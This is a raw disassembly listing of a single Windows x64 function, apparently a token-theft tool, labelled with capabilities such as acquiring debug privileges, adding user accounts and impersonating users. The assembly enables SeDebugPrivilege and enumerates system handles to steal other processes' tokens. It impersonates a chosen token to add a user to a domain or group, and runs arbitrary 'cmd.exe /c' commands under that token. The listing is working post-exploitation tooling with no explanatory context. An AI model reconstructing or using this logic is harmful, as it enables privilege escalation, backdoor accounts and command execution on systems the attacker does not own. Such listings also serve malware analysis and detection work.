Function at 0x1400641cc
Capabilities:
Acquire debug privileges
Add user account
Add user account to group
Create process on windows
Impersonate user

Disassembly:
jmp 0x14006b590
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
mov eax, 0x303d0
call fcn.14006487f
sub rsp, rax
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0xbf5c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x303f8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x30368], rax
lea rcx, [0x14017a0b8]
call fcn.140066f7b
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x48], rax
lea r8, [rbp + 8]
mov edx, 0x28
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
nop
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x19
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
nop
mov eax, dword [rbp + 0x24]
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0x68], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x24]
mov r8, qword [rbp + 0x68]
mov edx, 0x19
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
nop
mov rax, qword [rbp + 0x68]
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx eax, byte [rax]
dec eax
movzx eax, al
mov edx, eax
mov rax, qword [rbp + 0x68]
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov eax, dword [rax]
mov dword [rbp + 0x84], eax
lea r8, [rbp + 0xd8]
lea rdx, str.SeAssignPrimaryTokenPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14006b6b6
lea rcx, str._t____SeAssignPrimaryToken_not_owned__n
call fcn.1400656df
nop
mov dword [rbp + 0xa8], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rbp + 0xd8]
mov qword [rbp + rax + 0xac], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rbp + rax + 0xb4], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rbp + 0xa8]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14006b730
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____SeAssignPrimaryToken_adjust_token_failed:__d_n
call fcn.1400656df
nop
lea r8, [rbp + 0xf8]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14006b757
lea rcx, str._t____SeDebugPrivilege_not_owned__n
call fcn.1400656df
nop
mov dword [rbp + 0xa8], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rbp + 0xf8]
mov qword [rbp + rax + 0xac], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rbp + rax + 0xb4], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rbp + 0xa8]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14006b7d1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____SeDebugPrivilege_adjust_token_failed:__d_n
call fcn.1400656df
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [rbp + 0x114]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
nop
mov dword [rbp + 0x134], 0
mov dword [rbp + 0x2ef74], 0
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtQuerySystemInformation
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x2ef98], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0xa00000
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x2efb8], rax
lea r9, [rbp + 0x134]
mov r8d, 0xa00000
mov rdx, qword [rbp + 0x2efb8]
mov ecx, 0x10
call qword [rbp + 0x2ef98]
nop
mov dword [rbp + 0x2efd4], 0
jmp 0x14006b890
mov eax, dword [rbp + 0x2efd4]
inc eax
mov dword [rbp + 0x2efd4], eax
mov rax, qword [rbp + 0x2efb8]
mov eax, dword [rax]
cmp dword [rbp + 0x2efd4], eax
jae 0x14006bb1f
mov eax, dword [rbp + 0x2efd4]
imul rax, rax, 0x18
lea rcx, [rbp + 0x30348]
mov rdx, qword [rbp + 0x2efb8]
mov rdi, rcx
lea rsi, [rdx + rax + 8]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2eff8]
lea rcx, [rbp + 0x30348]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
movzx eax, word [rbp + 0x2eff8]
mov r8d, eax
xor edx, edx
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x2f028], rax
cmp qword [rbp + 0x2f028], 0xffffffffffffffff
jne 0x14006b922
mov rcx, qword [rbp + 0x2f028]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14006b882
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
movzx ecx, word [rbp + 0x2effe]
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x2f048]
mov r8, rax
mov edx, ecx
mov rcx, qword [rbp + 0x2f028]
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x14006b977
mov rcx, qword [rbp + 0x2f028]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14006b882
mov ecx, 0x2000
call fcn.140065c57
mov qword [rbp + 0x2f068], rax
mov edx, 2
mov rcx, qword [rbp + 0x2f048]
call fcn.140064294
lea rdx, str.Token
mov rcx, rax
call fcn.1400657a7
test eax, eax
je 0x14006b9cd
mov rcx, qword [rbp + 0x2f028]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x2f048]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14006b882
mov rax, qword [rbp + 0x2f048]
mov qword [rbp + 0x2f090], rax
lea rcx, [rbp + 0x2f090]
call fcn.14006696d
nop
lea rcx, [rbp + 0x2f090]
call fcn.140066ec7
nop
lea rcx, [rbp + 0x2f090]
call fcn.140066db4
nop
mov dword [rbp + 0x2f324], 0
mov dword [rbp + 0x2f344], 0
jmp 0x14006ba26
mov eax, dword [rbp + 0x2f344]
inc eax
mov dword [rbp + 0x2f344], eax
mov eax, dword [rbp + 0x2ef74]
cmp dword [rbp + 0x2f344], eax
jg 0x14006bac2
movsxd rax, dword [rbp + 0x2f344]
imul rax, rax, 0x280
lea rax, [rbp + rax + 0x170]
lea rdx, [rbp + 0x2f0a0]
mov rcx, rax
call fcn.1400657a7
test eax, eax
jne 0x14006babd
movsxd rax, dword [rbp + 0x2f344]
imul rax, rax, 0x280
lea rax, [rbp + rax + 0x38e]
lea rdx, [rbp + 0x2f2be]
mov rcx, rax
call fcn.1400657a7
test eax, eax
jne 0x14006babd
movsxd rax, dword [rbp + 0x2f344]
imul rax, rax, 0x280
lea rax, [rbp + rax + 0x3ca]
lea rdx, [rbp + 0x2f2fa]
mov rcx, rax
call fcn.1400657a7
test eax, eax
jne 0x14006babd
mov dword [rbp + 0x2f324], 1
jmp 0x14006ba18
cmp dword [rbp + 0x2f324], 0
jne 0x14006bb0c
mov eax, dword [rbp + 0x2ef74]
mov dword [rbp + 0x2f098], eax
movsxd rax, dword [rbp + 0x2ef74]
imul rax, rax, 0x280
lea rcx, [rbp + 0x2f090]
lea rdi, [rbp + rax + 0x160]
mov rsi, rcx
mov ecx, 0x280
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rbp + 0x2ef74]
inc eax
mov dword [rbp + 0x2ef74], eax
mov rcx, qword [rbp + 0x2f028]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14006b882
mov eax, 8
imul rax, rax, 1
lea rdx, str.list
mov rcx, qword [rbp + 0x30398]
mov rcx, qword [rcx + rax]
call fcn.1400657a7
test eax, eax
jne 0x14006bbca
mov dword [rbp + 0x2f364], 0
jmp 0x14006bb61
mov eax, dword [rbp + 0x2f364]
inc eax
mov dword [rbp + 0x2f364], eax
mov eax, dword [rbp + 0x2ef74]
cmp dword [rbp + 0x2f364], eax
jge 0x14006bbc5
movsxd rax, dword [rbp + 0x2f364]
imul rax, rax, 0x280
lea rax, [rbp + rax + 0x170]
movsxd rcx, dword [rbp + 0x2f364]
imul rcx, rcx, 0x280
lea rcx, [rbp + rcx + 0x3ca]
movsxd rdx, dword [rbp + 0x2f364]
imul rdx, rdx, 0x280
mov r9, rax
mov r8, rcx
mov edx, dword [rbp + rdx + 0x168]
lea rcx, str._d__ws__ws_n
call fcn.1400656df
nop
jmp 0x14006bb53
jmp 0x14006c04c
mov eax, 8
imul rax, rax, 1
lea rdx, str.adduser
mov rcx, qword [rbp + 0x30398]
mov rcx, qword [rcx + rax]
call fcn.1400657a7
test eax, eax
jne 0x14006bbf7
cmp dword [rbp + 0x30390], 7
je 0x14006bc2c
mov eax, 8
imul rax, rax, 1
lea rdx, str.exec
mov rcx, qword [rbp + 0x30398]
mov rcx, qword [rcx + rax]
call fcn.1400657a7
test eax, eax
jne 0x14006c04c
cmp dword [rbp + 0x30390], 4
jne 0x14006c04c
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rbp + 0x30398]
mov rcx, qword [rcx + rax]
call fcn.140066a62
mov dword [rbp + 0x2f384], eax
mov dword [rbp + 0x2f3a4], 0
jmp 0x14006bc65
mov eax, dword [rbp + 0x2f3a4]
inc eax
mov dword [rbp + 0x2f3a4], eax
mov eax, dword [rbp + 0x2ef74]
cmp dword [rbp + 0x2f3a4], eax
jge 0x14006c04c
movsxd rax, dword [rbp + 0x2f3a4]
imul rax, rax, 0x280
mov ecx, dword [rbp + 0x2f384]
cmp dword [rbp + rax + 0x168], ecx
jne 0x14006c047
movsxd rax, dword [rbp + 0x2f3a4]
imul rax, rax, 0x280
lea rcx, [rbp + 0x2f3c8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [rbp + rax + 0x160]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x14006c02b
mov eax, 8
imul rax, rax, 1
lea rdx, str.adduser
mov rcx, qword [rbp + 0x30398]
mov rcx, qword [rcx + rax]
call fcn.1400657a7
test eax, eax
jne 0x14006be8b
mov rcx, qword [rbp + 0x2f3c8]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x14006bd36
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Impersonation_failed_error:__d
call fcn.1400656df
nop
mov eax, 1
jmp 0x14006c04e
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rbp + 0x30398]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x2f3e8], rax
mov eax, 8
imul rax, rax, 6
mov rcx, qword [rbp + 0x30398]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x2f408], rax
mov r8d, 0x38
xor edx, edx
lea rcx, [rbp + 0x2f428]
call fcn.140066369
nop
mov r8d, 8
xor edx, edx
lea rcx, [rbp + 0x2f478]
call fcn.140066369
nop
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rbp + 0x30398]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x2f428], rax
mov eax, 8
imul rax, rax, 4
mov rcx, qword [rbp + 0x30398]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x2f430], rax
mov dword [rbp + 0x2f43c], 1
mov qword [rbp + 0x2f440], 0
mov qword [rbp + 0x2f448], 0
mov dword [rbp + 0x2f450], 0x10201
mov qword [rbp + 0x2f458], 0
xor r9d, r9d
lea r8, [rbp + 0x2f428]
mov edx, 1
mov rcx, qword [rbp + 0x2f408]
call fcn.140065cfc
test eax, eax
je 0x14006be3f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Add_user_failed_with_error:__d_n
call fcn.1400656df
nop
mov eax, 1
jmp 0x14006c04e
mov r8, qword [rbp + 0x2f428]
mov rdx, qword [rbp + 0x2f3e8]
mov rcx, qword [rbp + 0x2f408]
call fcn.1400652f2
test eax, eax
je 0x14006be84
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x2f408]
lea rcx, str.____Add_user_in_domain__ws_failed_with_error:__d
call fcn.1400656df
nop
mov eax, 1
jmp 0x14006c04e
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
nop
mov eax, 8
imul rax, rax, 1
lea rdx, str.exec
mov rcx, qword [rbp + 0x30398]
mov rcx, qword [rcx + rax]
call fcn.1400657a7
test eax, eax
jne 0x14006c01b
lea rax, [rbp + 0x2f4a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0x2f528]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rbp + 0x30398]
mov r9, qword [rcx + rax]
lea r8, str.cmd.exe__c__ws
mov edx, 0x3e8
lea rcx, [rbp + 0x2f560]
call fcn.1400662c9
nop
cmp dword [rbp + 0x84], 0x4000
jb 0x14006bfb7
mov r9d, 4
lea r8, [rbp + 0x114]
mov edx, 0xc
mov rcx, qword [rbp + 0x2f3c8]
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
jne 0x14006bf4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Couldnt_change_token_session_id__error:__d__n
call fcn.1400656df
nop
lea rax, [rbp + 0x2f528]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x2f4a0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x2f560]
xor edx, edx
mov rcx, qword [rbp + 0x2f3c8]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
nop
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
cmp dword [rbp + 0x84], 0x3000
jb 0x14006c01b
cmp dword [rbp + 0x84], 0x4000
jae 0x14006c01b
lea rax, [rbp + 0x2f528]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x2f4a0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x2f560]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x2f3c8]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
nop
mov rcx, qword [rbp + 0x2f3c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14006c047
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Duplication_failed_with_error:__d_n
call fcn.1400656df
nop
mov eax, 1
jmp 0x14006c04e
jmp 0x14006bc57
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x140138a30]
call fcn.14006671f
mov rax, rdi
mov rcx, qword [rbp + 0x30368]
xor rcx, rbp
call fcn.140065757
lea rsp, [rbp + 0x30370]
pop rdi
pop rsi
pop rbp
ret